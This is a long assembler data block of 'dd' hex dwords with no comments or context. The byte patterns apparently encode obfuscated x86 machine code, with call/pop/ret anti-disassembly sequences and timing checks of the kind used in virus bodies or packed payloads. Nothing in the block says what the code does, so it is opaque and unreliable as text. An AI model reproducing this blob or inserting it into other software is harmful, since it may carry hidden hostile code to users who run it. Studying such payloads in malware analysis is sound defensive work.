		dd 6A7E45FCh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0D088C351h, 459D89EAh,	0FF061B32h
		dd 1B2F11B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 3B8C8C1h,	0F3106163h, 89958914h
		dd 81061B1Dh, 2E4F5AC3h, 46858D0Bh, 6A061E70h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 2104C355h, 12B1848Ah, 807DCC02h, 0F60A5CBh, 285h, 0F9616000h
		dd 6AD0FF61h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 1FD7C351h, 0BB9530E7h,	5810F31h
		dd 0BB000000h, 37AB5282h, 8589F88Ah, 61B2205h, 0B919529h
		dd 0BD83061Bh, 61B16C1h, 8850F01h, 0B000001h, 1B214995h
		dd 0C6F56106h, 1B239D85h, 6A4506h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0ECE0E4C3h, 0B70F098Fh
		dd 3810FD3h, 80000000h,	9168E9F7h, 60B29B4Ah, 0BE85250h
		dd 0D4000000h, 1821C272h, 0B6E04E34h, 0F5E074Ch, 9E931h
		dd 439A0000h, 4F53CE2h,	5AAC8118h, 0BE858h, 0A8690000h
		dd 0B29A3A4h, 0C93DD0F1h, 0F4B86692h, 81615F8Bh, 0EE312404h
		dd 8B6627C4h, 11B5FFDFh, 1061B2Fh, 1B1855BDh, 46858D06h
		dd 29061E70h, 1B2E519Dh, 6AD0FF06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D449C353h
		dd 564D06CFh, 5E9BCh, 0FF0000h,	6A4754CBh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0D950B1Ah, 0F061B2Ah, 0F89h,	0AE900h, 546F0000h, 8BFA5B4Bh
		dd 0BECAE279h, 83FCD0FFh, 1B003DBDh, 850F0106h,	0CDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h, 858BFD51h
		dd 61B3031h, 7DE976B2h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89B2C351h
		dd 1B1F11BDh, 0BE89006h, 67000000h, 7D74660h, 0BA85651h
		dd 8B66A786h, 8A505BD6h, 6A90F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 99BD6EC3h, 4D62E3A0h
		dd 66A6DE7Ah, 763CCB81h, 0BF0F146Ah, 595FFD8h, 81061B22h
		dd 4B2C15DAh, 0B5895845h, 61B1BF5h, 0F003880h, 0FFFF9C85h
		dd 0D850FFFh, 0E9000000h, 8, 0B2F0DB92h, 739B10Dh, 890100C6h
		dd 1B0A619Dh, 6A6106h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C90613C3h, 0A19501B5h, 89061B1Eh
		dd 1B11218Dh, 35952306h, 83061B11h, 1B0DA1BDh, 840F0006h
		dd 5Dh,	0CE8h, 0AB210700h, 6B377C6Bh, 2A381B88h, 0E1BD09FAh
		dd 5B061B18h, 0C381FF6Ah, 4CF6BED2h, 220595FFh,	6A061Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0E3EA4DC3h, 7E8h, 0C77A8C00h, 0E2A7C0D1h, 0F3DBD01h
		dd 0E95A061Bh, 0FFFFFFBCh, 0A185C7FCh, 1061B0Dh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 408BC355h, 0DDAA044Fh, 0B9A40EA9h, 4C758589h
		dd 0B70F061Bh
		dd 8B6050D9h, 48961CFh,	0BD950324h, 60061B1Ch, 31B59589h
		dd 56A061Bh, 899D2353h,	5A061B1Ah, 4C8D858Dh, 0DE8B061Bh
		dd 8B666090h, 0F5061F0h, 8Dh, 0F509000h, 0B80h,	5E800h
		dd 0A7DD0000h, 5A3E37F9h, 7D858D5Ah, 0E9061B4Ch, 13h, 0B8A365C2h
		dd 433DD254h, 0B356AAAFh, 252BA125h, 904326A9h,	0B650DE8Ah
		dd 0BA66908Ah, 95FF8F33h, 61B2C1Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0B2C35242h,	85896035h, 61B0C8Dh
		dd 7ACC8D8Dh, 0BF8061Bh, 8D1174C0h, 1B4C8D85h, 0D1FF5006h
		dd 4CAB8589h, 0AEB061Bh, 4CAB85C7h, 0FFFF061Bh,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0F694E3C3h, 17049A77h, 820FC66Fh, 6,	0C118589h, 8061061Bh
		dd 85C6ECD7h, 61B239Dh,	0CE84Dh, 0EF5F0000h, 77AFA6AFh
		dd 0E6CE558Dh, 0DE9B8A7h, 0CB000000h, 0C9D9AD8Ch, 70903F96h
		dd 0C6D9A02Fh, 90CA685Ah, 3481F3B7h, 82E66224h,	57006A57h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0B5FFF95Dh, 61B29C1h, 0B95958Bh, 858D061Bh, 61E7046h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 15C35343h
		dd 51D0FF63h, 0AE9h, 0B5F5EF00h, 7EBC3C5Bh, 5A5F566Eh
		dd 2F798589h, 8E0F061Bh, 6, 0A45B589h, 85C6061Bh, 61B239Dh
		dd 0DEE38045h, 18101A68h, 814CB394h, 79732434h,	6A1A6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0A1B970C3h, 9D8B2CF7h, 61B0D85h, 2F11B5FFh, 8B66061Bh
		dd 0FE8D0h, 2C150000h, 691097B8h, 0F5AC3F82h, 313A1FF4h
		dd 10E91Fh, 41DF0000h, 4F64FD00h, 0E06D2CD8h, 288E479Fh
		dd 8D5A1201h, 1E704685h, 89D0FF06h, 1B2FBD85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 37D431A1h, 697B34B3h, 9D09868Bh, 61B0751h, 8166D28Bh
		dd 661692E3h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0B1803CC3h, 66EC1FD6h, 0C1F6D98Bh
		dd 5F840F04h, 0E8000002h, 0Eh, 6C787C9Eh, 0F9A1E375h, 0F2B4359h
		dd 0F51A321h, 5A5ADBBFh, 160E9h, 4ACB8100h, 8B5A06DDh
		dd 1B22B1B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 80C68167h, 89000011h, 1B03B19Dh
		dd 0A1BD8306h, 61B2Fh, 78850Fh,	11E80000h, 6000000h, 3A71F74Ch
		dd 5E790F13h, 30E6D155h, 3276B79Ah, 0BE9h, 0D3A02900h
		dd 0C262563Bh, 0BED7B731h, 890F575Bh, 17h, 12E9h, 8073EA00h
		dd 0C6CC9D0Eh, 856F6C4Ah, 0A8C5525Ah, 5B764AD0h, 0C8E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 6B04006h, 0D89AE318h, 0D8B70F91h, 21C1CB81h
		dd 3E835414h, 92840F00h, 8A000000h, 6A60F9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 22CB86C3h
		dd 89146A3Eh, 1B1DADB5h, 595FF06h, 0E9061B22h, 11h, 3D8B1EBCh
		dd 0BD7EFD02h, 5027B569h, 0E5A78960h, 8E86027h,	0BE000000h
		dd 209A1BB2h, 66B151C8h, 5906D2BAh, 16698529h, 6161061Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BC35646h
		dd 0CE39F60Eh, 1245950Bh, 6BE9061Bh, 8BFFFFFFh,	1B14259Dh
		dd 106C706h, 9000000h, 1B2D15BDh, 75BD8306h, 5061B4Ch
		dd 0D4850Fh, 7E90000h, 23000000h, 385CA369h, 0B58B08F5h
		dd 61B2FBDh, 2B699503h,	64B9061Bh, 0E8000000h, 10h, 7A5A9D64h
		dd 0B0F6E785h, 59AE92BCh, 3945E71Ah, 0B119D8Bh,	8A5B061Bh
		dd 0E83E80FDh, 11840Fh,	958B0000h, 61B1F39h, 27E9h, 0BDB58900h
		dd 80061B07h, 0FC2057Eh, 6984h,	12E900h, 7E170000h, 59167917h
		dd 0D1C59572h, 401E43B6h, 1D602458h, 6D9D8946h,	89061B0Dh
		dd 1B323995h, 850F4906h, 0FFFFFFB1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0DCC35141h,	1330D574h, 604AD8DDh
		dd 11C99D09h, 8166061Bh, 61A18CF2h, 1B69BD89h, 0FE9061Bh
		dd 0F000000h, 0B589DFBFh, 61B2979h, 1F58589h, 5158061Bh
		dd 5B616056h, 0E5BD835Bh, 61B07h, 103840Fh, 860F0000h
		dd 21h,	14E960h, 8F880000h, 755E19D5h, 1545DB8Dh, 4B3B962Dh
		dd 0A01B9070h, 9D311A15h, 61B0285h, 0EE861h, 0A8380000h
		dd 687135EDh, 58CD9165h, 36B3F9EBh, 11E8h, 1E529D00h, 0A1BAD141h
		dd 0FCC62632h, 0DFAB1533h, 8531A791h, 61B2DB5h,	8B605B5Ah
		dd 1B33219Dh, 9D85C606h, 54061B23h, 2018589h, 968061Bh
		dd 0B3B2E852h, 24048110h, 4C666CEBh, 0D359D8Bh,	0B5FF061Bh
		dd 61B2F11h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0C35747h, 2E724824h, 0F4BC92CAh, 6830Fh, 9D230000h
		dd 61B1081h, 7046858Dh,	950B061Eh, 61B29C5h, 8B66D0FFh
		dd 6A006AD8h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 5344C357h, 7E5B5FFh, 0E6BB061Bh
		dd 0FF7B6434h, 5BFC52D0h, 0B5DBD89h, 8B61061Bh,	1B105595h
		dd 6985C706h, 1061B17h,	8B000000h, 1B037195h, 6A6006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 809DBFC3h, 4E8DBD7h,	80000000h, 60000000h, 0C18A5250h
		dd 585A310Fh, 506194B4h, 0F3E288BBh, 24448B35h,	9E804h
		dd 2AEF0000h, 0DAF0D347h, 60BFD70Eh, 5250C68Bh,	585A310Fh
		dd 8B5B61h, 0A7E426BBh,	2444896Ah, 0CF805804h, 8BFF6A5Eh
		dd 9D8B52D3h, 61B31A1h,	0A595FF5Bh, 0F061B11h, 680h, 0D5B58900h
		dd 61061B13h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	75C35343h, 4F5D4B06h, 0B14D43BBh, 65952379h, 90061B1Ah
		dd 8840Fh, 880F0000h, 2, 66506160h, 90F826BBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 87C35242h, 858B6890h
		dd 61B069Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	16C35242h, 8AD06816h, 0E6805E6Dh, 0FC00B8Ch, 3284h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0F8605BE5h, 1F198589h, 0FF61061Bh, 1B0A7D95h
		dd 158D8906h, 0C7061B24h, 1B1BED85h, 106h, 699D8900h, 0BB061B0Ah
		dd 4E74D2B0h, 2519BD83h, 0F00061Bh, 2F84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 8AAB1A55h, 71B78F76h, 1F4D95FFh, 958B061Bh, 61B0081h
		dd 1E1BD83h, 0F00061Bh,	2D84h, 0FFDA8A00h, 1B2C7D95h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0FF910797h, 8B56B9ABh, 0BD835BD9h, 61B1815h,	65840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h
		dd 0C376C352h, 0E96E68Fh, 0B195315Bh, 0B2061B17h, 31BD8314h
		dd 61B0Dh, 2E850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0FE2A54C3h, 0F1664E82h
		dd 321595FFh, 0BD31061Bh, 61B1A65h, 0CD9BD83h, 0F00061Bh
		dd 2784h, 0CA816600h, 858106A7h, 61B2DA1h, 4003h, 0D4D9D8Bh
		dd 8581061Bh, 61B2131h,	4003h, 8D0118B6h, 61B0DA5h, 820F310Fh
		dd 3, 8DD7B70Fh, 1B5D258Dh, 1D952906h, 89061B22h, 0DDB58901h
		dd 89061B1Ch, 1B1D0195h, 6AC23306h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0EBF5C355h
		dd 0A5486D64h, 9503725Ah, 61B0395h, 10E8h, 50935F00h, 77204F1Ch
		dd 7DE24A94h, 5CBF144Ch, 0D6A0BA34h, 895B6E77h,	958B0441h
		dd 61B32FDh, 9589310Fh,	61B12D9h, 5D358D8Dh, 0B589061Bh
		dd 61B2C5Dh, 0D88B0189h, 0BF0FC233h, 44189DFh, 0B69BD83h
		dd 0F00061Bh, 2484h, 0D88B6600h, 0AE9h,	0C9889900h, 0C23544F7h
		dd 0FF600CFAh, 1B0A0995h, 68D0F06h, 89000000h, 1B127D8Dh
		dd 0EDBD8306h, 1061B0Ch, 6B850Fh, 0FE90000h, 38000000h
		dd 3948F133h, 90A4B758h, 9883402Fh, 52E9A5E8h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0F5E0C353h, 60EDBC0h, 0B298589h, 0B58B061Bh
		dd 61B5E2Dh, 6C7h, 0B58B0000h, 61B5C2Bh, 6C7h, 29CF0000h
		dd 1B16ADBDh, 6870F06h,	1000000h, 1B140D9Dh, 0EDBD8306h
		dd 61B1Bh, 14A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6071BDC3h, 0F68088E0h
		dd 259D8B17h, 83061B22h, 1B02ADBDh, 850F0106h, 0EFh, 0AE9h
		dd 8451C500h, 2D11E7F6h, 8BFB6A5Ah, 1B4C698Dh, 0A5950106h
		dd 0C6061B0Ah, 0A3B70001h, 688CB360h, 0F5F67FB2h, 12E9h
		dd 0DA073A00h, 7436998Bh, 0E44F20B7h, 0BBF14443h, 8123061Dh
		dd 80CE2404h, 6A0A09h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 936BA0C3h, 6A47E7BCh, 0FFD6B6FFh
		dd 1B11A595h, 6E806h, 8DCF0000h, 5599F81Dh, 60F28166h
		dd 0F615B03h, 981h, 3860F00h, 66000000h, 95FFDF8Bh, 61B3061h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F8C35545h
		dd 0A9519006h, 9D2BC0AAh, 61B29E1h, 8D8BDE8Ah, 61B4C69h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 10C35343h
		dd 18C5958Bh, 1FE061Bh,	83DABF0Fh, 1B31CDBDh, 850F0106h
		dd 18h,	0CA19D8Bh, 880F061Bh, 0Ch, 68A0Fh, 85010000h, 61B0949h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 130CDBC3h, 80C38139h, 0BD83523Eh,	61B23D1h
		dd 83097500h, 1B3129BDh, 1A740006h, 0C08B5350h,	2DA1858Bh
		dd 8589061Bh, 61B2DA1h,	0A64D9D8Dh, 0D3FF061Dh,	0BD83585Bh
		dd 61B3129h, 50187400h,	0A1858B53h, 89061B2Dh, 1B2DA185h
		dd 3C9D8D06h, 0FF061DA3h, 0F5585BD3h, 8166D98Bh, 8B56ACD3h
		dd 71BB56C0h, 5B131A27h, 1BEDBD83h, 0F00061Bh, 1085h, 0D68B6600h
		dd 21E1BD83h, 0F00061Bh, 84h, 0EDBD8300h, 61B1Bh, 5E840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 604A62C3h, 0B5898B03h, 61B3029h, 75DBD83h
		dd 0F00061Bh, 2B84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0FB6DE9F3h, 0F52C5B6h
		dd 281h, 5A616000h, 1BEDBD83h, 0F00061Bh, 1B84h, 599D3300h
		dd 33061B21h, 1B17759Dh, 5DBD8306h, 61B07h, 2840Fh, 0FBB70000h
		dd 1BEDBD83h, 0F00061Bh, 3884h,	0C0816000h, 0A3ED02Eh
		dd 3AAF0DBBh, 0BD83612Ch, 61B2D79h, 1E840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 8690C350h, 0EDBD83F9h, 61B1Bh, 5C840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0AB0B1BC3h, 99D95D05h, 835FE744h, 1B1201BDh,	840F0006h
		dd 2Ah,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 7C35343h, 0BF0F9EE6h, 9995FFD7h, 66061B07h, 0C08BDE8Bh
		dd 719503h, 0BD83061Bh,	61B23D1h, 83097500h, 1B3129BDh
		dd 1A740006h, 0C08B5350h, 2131858Bh, 8589061Bh,	61B2131h
		dd 0A6B49D8Dh, 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50187400h
		dd 31858B53h, 89061B21h, 1B213185h, 559D8D06h, 0FF061DA3h
		dd 6A585BD3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0A655C356h, 68E0Fh, 0B5090000h
		dd 61B2C79h, 8BB1D680h,	0EDBD83C0h, 61B1Bh, 5CE840Fh, 0BD010000h
		dd 61B1721h, 16C1BD83h,	0F02061Bh, 3884h, 0BD83FC00h, 61B0CEDh
		dd 2A850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 1058C351h, 0FE05F200h
		dd 33D53ACBh, 1B330595h, 4DBD8306h, 61B33h, 0FB840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 60A480C3h, 9E8h, 0E4ADB900h,	0F02847A9h, 9D8B36D9h
		dd 61B1955h, 698D8B5Ah,	81061B4Ch, 0F8EB8EF2h, 0E801FE7Ah
		dd 4, 80h, 50D98B66h, 0FDF08CBAh, 24448B3Eh, 0E9525004h
		dd 13h,	399209E7h, 3BC80AE2h, 548529F5h, 320148E9h, 0FFE1146h
		dd 6810F31h, 0F000000h,	84h, 8B585A00h,	6CC0BA00h, 44894736h
		dd 0BA660424h, 0E8581E02h, 6, 5F0ED217h, 8166FE4Ch, 5AD369EAh
		dd 6657FF6Ah, 8D3DEA81h, 0A595FF5Ah, 6A061B11h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0CBEFC355h, 0DEF0F7C5h, 3B18D29h, 6A61061Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0B06CC350h, 0D7363A92h, 830F60FCh, 0Ah, 5E9h, 1AD67200h
		dd 8D8B7A6Eh, 61B4C69h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A2C35040h, 0ADFC485Eh, 1FEFE8Ah, 7509BA66h
		dd 942A2668h, 5820F72h,	0BA000000h, 67AF65E5h, 0A6243481h
		dd 6A72942Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E73DC351h, 840C5EBEh,	0DE943h
		dd 79AA0000h, 1933E23h,	1E6E764Bh, 6A965205h, 0D9958BFFh
		dd 0FF061B03h, 1B11A595h, 14E906h, 19050000h, 0B68672Eh
		dd 0F6AA4FC6h, 0EEEC51BDh, 7B2BAFAAh, 6A6171D6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 717C350h, 0BD8CD11h,	1B015D9Dh, 0EB816606h, 0BD8D253Eh
		dd 61B3075h, 8BD7BF0Fh,	6A1C4Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 70AC4CC3h, 2D9D8B4Bh
		dd 53061B0Fh, 31999D29h, 6A5A061Bh, 51006A01h, 3E8h, 0C3592000h
		dd 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 85895364h, 61B11BDh, 860F505Bh
		dd 1Bh,	11E8h, 21D04500h, 86A0161Eh, 0CB54EFBEh, 9802A6A8h
		dd 0BA660A91h, 895A0E70h, 0D78B240Ch, 3803858Dh, 1EB3061Eh
		dd 8BD0FFFCh, 1B2D899Dh, 0AC5EBB06h, 4F8B5F84h,	4DB58920h
		dd 6A061B08h, 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0E5702604h, 958B61DAh, 61B2ACDh
		dd 23C59D33h, 9D8B061Bh, 61B3115h, 0DA8B6691h, 2A830F50h
		dd 50000000h, 0DE952h, 92530000h, 0D192518Bh, 426BA1E5h
		dd 0FD71D52h, 0DE931h, 82670000h, 0E6EFE05Dh, 0FC199376h
		dd 5AABC20Ch, 0BF0F9158h, 3858DD8h, 0E9061E38h,	6, 0D0037725h
		dd 0D0FF261Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	2DC35747h, 1BB17F4Eh, 0C99E2C93h, 75BD8DBDh, 6A061B30h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 81B8C353h, 0BA2B16D2h, 1C4F8B3Bh,	0D559503h
		dd 6656061Bh, 5BE836BBh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0B9F112C3h, 0BBCCC0F0h
		dd 8953B12Eh, 1B0F099Dh, 0E9505A06h, 9,	3FFF8542h, 3D80D803h
		dd 240C8939h, 8DFFC280h, 1E380385h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BE830h, 31E20000h
		dd 0FFF7BA57h, 0F5C19BB1h, 0D0B70FF7h, 66D0FF5Bh, 1A7CB81h
		dd 6A204F8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 800BC350h, 36A87C2h, 0E99180B2h
		dd 0Ah,	0F88AED87h, 23AC8D2Ch, 5650EAC3h, 28A0Fh, 0CCB30000h
		dd 6A915Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0C18BA2C3h, 0FD5F45C5h, 0DE8F9h, 0E4620000h
		dd 0F8B25D74h, 0C9F42F84h, 53D875BBh, 0A5FADA81h, 5B5A6C3Bh
		dd 0B6DBD89h, 858D061Bh, 61E3803h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0E2C35747h,	93166342h, 0FF2E32B9h
		dd 55006AD0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 8B1A358Ch, 0A516DD59h, 8D8BD48Ah, 61B4C69h
		dd 0B601FEF5h, 0F58529C1h, 8B061B0Eh, 1B4C6985h, 0AAF38106h
		dd 0FE5A58D9h, 0AE800h,	5F830000h, 86FD9ABh, 6F4ADB3Ch
		dd 5BDE8B66h, 0EF1958Bh, 16A061Bh, 68C0Fh, 95030000h, 61B0769h
		dd 0C089D268h, 0FE856D4h, 8F000000h, 98C3D907h,	0FE3FB28h
		dd 518A3CC9h, 0B8BB0A03h, 5B66B0DEh, 2434815Ah,	2B3F162Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C6C35242h
		dd 0F1958Bh, 858D061Bh,	61E380Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 52C35040h, 0C7B63D17h, 9518B9Dh
		dd 1B13BD85h, 0D0FF5A06h, 0B6B6F18Ah, 21E1BD83h, 0F00061Bh
		dd 0E884h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 34AD49F1h, 6647248Dh, 0BD83DF8Bh
		dd 61B1CD5h, 0B6850F01h, 89000000h, 1B003995h, 8DD88B06h
		dd 1E38178Dh, 36AF806h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0CBC35040h, 9A6503BAh, 0BB66884Ah, 8529FC0Ch
		dd 61B2C61h, 0DE8B016Ah, 46B3D1FFh, 6A016Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 971A69C3h
		dd 8950C642h, 0BA664E37h, 16AB02Ch, 23818589h, 0D1FF061Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E1C35040h
		dd 950B59B3h, 61B1061h,	21950B51h, 5B061B32h, 405C88E8h
		dd 498D29FAh, 89061B02h, 1B06999Dh, 6A206A06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 5299C350h, 0AD5EC1C2h, 6AF5C603h, 53006AFFh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E83D1932h
		dd 0Ah,	0E9396BD6h, 0C25243Bh, 8B609A35h, 1B1D11B5h, 1DF08106h
		dd 6150F5E9h, 0A595FF5Bh, 29061B11h, 1B2F25BDh,	0B806h
		dd 0C00B0000h, 1F840Fh,	81660000h, 837A82F3h, 1B1A01BDh
		dd 840F0006h, 0Dh, 172D9D89h, 95FF061Bh, 61B1A95h, 31858BF5h
		dd 81061B30h, 0F23B35C3h, 0C67Ah, 0C800Fh, 8D0F0000h, 6
		dd 25419D89h, 6A58061Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0A74DC351h,	0B5890729h
		dd 61B0B65h, 0FD98C66h,	68Dh, 99D2300h,	0F6061B32h, 840F04C1h
		dd 60h,	0E940DA80h, 58h, 8870Fh, 8B500000h, 1B12199Dh
		dd 0B58B5A06h, 61B22B1h, 0F5F08A60h, 80C68161h,	6A000011h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0BE29C350h, 131F23A8h, 0BDDB8C2h,	1B2C8195h
		dd 6C706h, 0F000000h, 9589DEB7h, 61B2A11h, 0C1CB805Eh
		dd 0F00F883h, 0B0F84h, 0DE8B6600h, 0F01F883h, 0FC85h, 45958B00h
		dd 0B8061B08h, 0
		dd 7E9h, 3ADC5300h, 215D1D50h, 840FC00Bh, 7Fh, 83D88B66h
		dd 840F01F8h, 0B2h, 6880Fh, 9D890000h, 61B298Dh, 0F03F883h
		dd 4784h, 0F1D3BB00h, 0C02B7738h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 1C35343h, 2F7F4C0Eh, 288F2539h
		dd 7E9h, 6D4AA100h, 0FDE2CA1Eh,	2444BB66h, 7974BD8Dh, 0FFF5005Bh
		dd 1CE780E7h, 1B8h, 0D2B70F00h,	74BD8DF5h, 66005B79h, 0E7FFD78Bh
		dd 8DDFBF0Fh, 1B42F5BDh, 21958906h, 66061B31h, 664FC281h
		dd 2C3E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1804h, 0C3504000h, 0DBC189B2h, 3890F19h, 66000000h
		dd 85C7D88Bh, 61B4CC4h,	5, 5FDF80FCh, 5B8h, 58E9F500h
		dd 8B000009h, 1B01AD95h, 2F88306h, 0C9850Fh, 0B5290000h
		dd 61B2215h, 0B8h, 8860F00h, 50000000h,	2B599589h, 665B061Bh
		dd 0BB939BAh, 7A840FC0h, 66000000h, 0BC67D381h,	0F01F883h
		dd 0FFFFA584h, 3F883FFh, 0FF46840Fh, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0BE91E4C3h
		dd 5B193840h, 8A036680h, 0B8D3h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0A9C9CC3h
		dd 0B1526E62h, 0BD8DA310h, 5B7974h, 0E7FF48B6h,	3880Fh
		dd 0B70F0000h, 0EDBD8DDEh, 81061B44h, 7AB974CAh, 1C2E909h
		dd 14E90000h, 59000000h, 785D0A19h, 0D7764267h,	0B4792F7h
		dd 0AAB65627h, 834181C7h, 850F03F8h, 44h, 0BE95251h, 0F4000000h
		dd 308F3DE6h, 2571688Dh, 5A5A6BB7h, 4681BD8Dh, 81E9061Bh
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0A260C355h, 0BD89DF04h, 61B0075h
		dd 0F05F883h, 3785h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0D1958923h, 0F061B0Eh
